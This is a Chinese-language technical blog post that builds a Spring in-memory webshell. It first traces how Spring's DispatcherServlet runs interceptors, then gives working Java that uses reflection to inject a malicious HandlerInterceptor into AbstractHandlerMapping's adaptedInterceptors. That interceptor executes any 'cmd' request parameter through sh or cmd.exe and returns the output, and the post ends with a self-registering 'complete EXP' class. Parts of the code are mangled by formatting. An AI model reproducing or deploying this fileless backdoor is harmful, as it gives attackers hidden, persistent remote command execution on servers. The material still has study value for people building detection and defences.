spring内存马-Interceptor构造

spring内存马-Interceptor构造

轩公子谈技术 2025-06-05 01:53

spring内存马-Interceptor构造

  • 环境搭建

方便调试代码,创建一个自定义的
Interceptor筛选器

import org.springframework.web.bind.annotation.*;            

import org.springframework.web.servlet.*;            

import org.springframework.web.servlet.config.annotation.*;            

import javax.servlet.http.*;            

@RestController            

public class CmdController implements WebMvcConfigurer {            

// 控制器方法 – 处理/index请求            

@GetMapping(“/index”)            

public String index(@RequestParam String cmd) {            

System.out.println(“执行命令: ” + cmd);            

return “命令执行成功: ” + cmd;            

}            

// 注册拦截器            

@Override            

public void addInterceptors(InterceptorRegistry registry) {            

registry.addInterceptor(new HandlerInterceptor() {            

@Override            

public boolean preHandle(HttpServletRequest request,            

HttpServletResponse response,            

Object handler) throws Exception {            

// 检查cmd参数            

if (request.getParameter(“cmd”) == null) {            

response.getWriter().write(“缺少cmd参数”);            

return false; // 阻止请求            

}            

return true; // 允许请求            

}            

}).addPathPatterns(“/index”); // 只拦截/index            

}            

}            

pom.xml文件配置springboot依赖项:

org.springframework  spring-web  5.3.16

  • 调试分析

在输出位置打个断点,
分析一下Interceptor是怎么执行了

在HandlerExecutionChain#applyPreHandle方法中,interceptor对应我们自定义的
筛选器,this.interceptorList是个集合存储着所有的筛选器

具体查看HandlerExecutionChain#applyPreHandle代码,
简单来说循环this.interceptorList集合里的每一个
对象赋值给HandlerInterceptor对象,然后调用
interceptor的
preHandle()
 方法

要搞清楚
this.interceptorList集合是怎么来的,继续查看一下堆栈
DispatcherServlet#doDispatch
,在
mappedHandler中存储着
interceptorList集合,查看代码,搞清楚这个mappedHandler是哪来的

我们进入这个this.getHandler(processedRequest);看看

看看见handlerMappings的内容不一样,我们打开看看,这里面有五个handlerMappings对象,每个对象都有我们的拦截器,那肯定这里是关键地方,能最终筛选出合适的拦截器

在这遍历出了每个对象,如果能获取到的handler就返回,跟进去看一下这个mapping.getHandler(request);都做什么,在这里打个断点分析下

持续跟进发现最终调用的是AbstractHandlerMapping#getHandler(),该方法中调用了getHandlerExecutionChain()

跟进getHandlerExecutionChain()方法,
创建了一个新的Chain,
从adaptedInterceptors中把符合的拦截器添加到chain里。

adaptedInterceptors一开始就存放了全部拦截器

再跟进chain.addInterceptor方法,就是将拦截器添加
this.interceptorList集合里

返回到DispatcherServlet#doDispatch(),getHandler后执行了applyPreHandle遍历执行了拦截器。

总结一下,我们只需要获取AbstractHandlerMapping#adaptedInterceptors,把我们的拦截器添加进去就可以了

注册
Interceptor拦截器过程:

获取WebApplicationContext

获取AbstractHandlerMapping对象

通过反射获取AbstractHandlerMapping#adaptedInterceptors

新建恶意拦截器

AbstractHandlerMapping#adaptedInterceptors添加恶意拦截器
– ## 内存马编写

获取RequestMappingHandlerMapping

//获取RequestMappingHandlerMapping            

WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute(“org.springframework.web.servlet.DispatcherServlet.CONTEXT”, 0);            

RequestMappingHandlerMapping bean = context.getBean(RequestMappingHandlerMapping.class);            

反射获取AbstractHandlerMapping#adaptedInterceptors

try {            

//通过反射AbstractHandlerMapping类获取adaptedInterceptors属性            

Field field = AbstractHandlerMapping.class.getDeclaredField(“adaptedInterceptors”);            

field.setAccessible(true);            

Listinterceptors = (List) field.get(bean);            //添加恶意Interceptors            interceptors.add(new shsellInterceptor());            } catch (NoSuchFieldException e) {                throw new RuntimeException(e);            }        

添加恶意Interceptors

interceptors.add(new shsellInterceptor());            

恶意Interceptor:需要实现HandlerInterceptor接口,通过重写preHandle进行RCE

public

class
shsellInterceptor
implementsHandlerInterceptor {            

@Override            

public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {            

if (request.getParameter(“cmd”) != null) {            

try {            

boolean isLinux = true;            

String osTyp = System.getProperty(“os.name”);            

if (osTyp != null && osTyp.toLowerCase().contains(“win”)) {            

isLinux = false;            

}            

String[] cmds = isLinux ? new String[]{“sh”, “-c”, request.getParameter(“cmd”)} : new String[]{“cmd.exe”, “/c”, request.getParameter(“cmd”)};            

InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();            

Scanner s = new Scanner(in).useDelimiter(“\A”);            

String output = s.hasNext() ? s.next() : “”;            

response.getWriter().write(output);            

response.getWriter().flush();            

response.getWriter().close();            

} catch(Exception e){            

e.printStackTrace();            

}            

return false;            

}            

return true;            

}            

@Override            

public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, @Nullable ModelAndView modelAndView) throws Exception {            

}            

@Override            

public void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, @Nullable Exception ex) throws Exception {            

}            

}            

完整的EXP:

port jdk.internal.dynalink.beans.StaticClass;            

import org.springframework.lang.Nullable;            

import org.springframework.stereotype.Controller;            

import org.springframework.web.bind.annotation.RequestMapping;            

import org.springframework.web.context.WebApplicationContext;            

import org.springframework.web.context.request.RequestContextHolder;            

import org.springframework.web.servlet.HandlerInterceptor;            

import org.springframework.web.servlet.ModelAndView;            

import org.springframework.web.servlet.handler.AbstractHandlerMapping;            

import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;            

import javax.servlet.http.HttpServletRequest;            

import javax.servlet.http.HttpServletResponse;            

import java.io.BufferedReader;            

import java.io.IOException;            

import java.io.InputStream;            

import java.io.InputStreamReader;            

import java.lang.reflect.Field;            

import java.util.List;            

import java.util.Scanner;            

import static sun.font.FontUtilities.isLinux;            

public class InjectInterceptor implements HandlerInterceptor {            

static {            

//获取RequestMappingHandlerMapping 的实例            

WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute(“org.springframework.web.servlet.DispatcherServlet.CONTEXT”, 0);            

RequestMappingHandlerMapping bean = context.getBean(RequestMappingHandlerMapping.class);            

try {            

//通过反射AbstractHandlerMapping类获取adaptedInterceptors属性            

Field field = AbstractHandlerMapping.class.getDeclaredField(“adaptedInterceptors”);            

field.setAccessible(true);            

Listinterceptors = (List) field.get(bean);                    //添加恶意Interceptors                    interceptors.add(new InjectInterceptor());                    System.out.println(“[+] /shell Interceptor injected.”);                } catch (NoSuchFieldException | IllegalAccessException e) {                    throw new RuntimeException(e);                }            }                //重构Interceptors类            @Override            public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {                if (request.getParameter(“cmd”) != null) {                    try {                        boolean isLinux = true;                        String osTyp = System.getProperty(“os.name”);                        if (osTyp != null && osTyp.toLowerCase().contains(“win”)) {isLinux = false;                        }                        String[] cmds = isLinux ? new String[]{“sh”, “-c”, request.getParameter(“cmd”)} : new String[]{“cmd.exe”, “/c”, request.getParameter(“cmd”)};                        InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();                        Scanner s = new Scanner(in).useDelimiter(“\A”);                        String output = s.hasNext() ? s.next() : “”;                        response.getWriter().write(output);                        response.getWriter().flush();                        response.getWriter().close();                    } catch(Exception e){                        e.printStackTrace();                    }                    return false;                }                return true;            }            @Override            public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, @Nullable ModelAndView modelAndView) throws Exception {            }            @Override            public void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, @Nullable Exception ex) throws Exception {            }